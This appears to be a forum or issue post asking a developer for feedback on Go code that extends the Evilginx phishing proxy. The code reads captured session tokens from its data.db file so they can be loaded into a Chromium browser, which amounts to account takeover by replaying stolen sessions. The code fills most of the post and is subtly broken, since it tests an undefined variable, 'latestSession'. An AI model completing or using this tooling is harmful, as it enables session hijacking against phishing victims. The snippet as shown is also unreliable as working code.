Hello @Fluxxset, I’m working on a project to instantly export the latest Evilginx tokens to a Chromium instance running on the same Evilginx proxy setup. I’ve refined the token-fetching logic and would like your feedback. It’s adapted from a section of your code (I’m aware that changes to http_proxy.go are required).
Token-fetching logic:
func getLatestSession() ([]byte, error) {
file, err := os.Open("/root/.evilginx/data.db")
if err != nil {
return nil, fmt.Errorf("failed to open data.db: %v", err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
var currentSession string
var captureNext bool
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if strings.HasPrefix(line, "$") {
captureNext = true
currentSession = ""
continue
}
if captureNext && strings.HasPrefix(line, "{") {
currentSession = line
}
}
if latestSession == "" {
return nil, fmt.Errorf("no valid session data found")
}
return []byte(currentSession), nil
}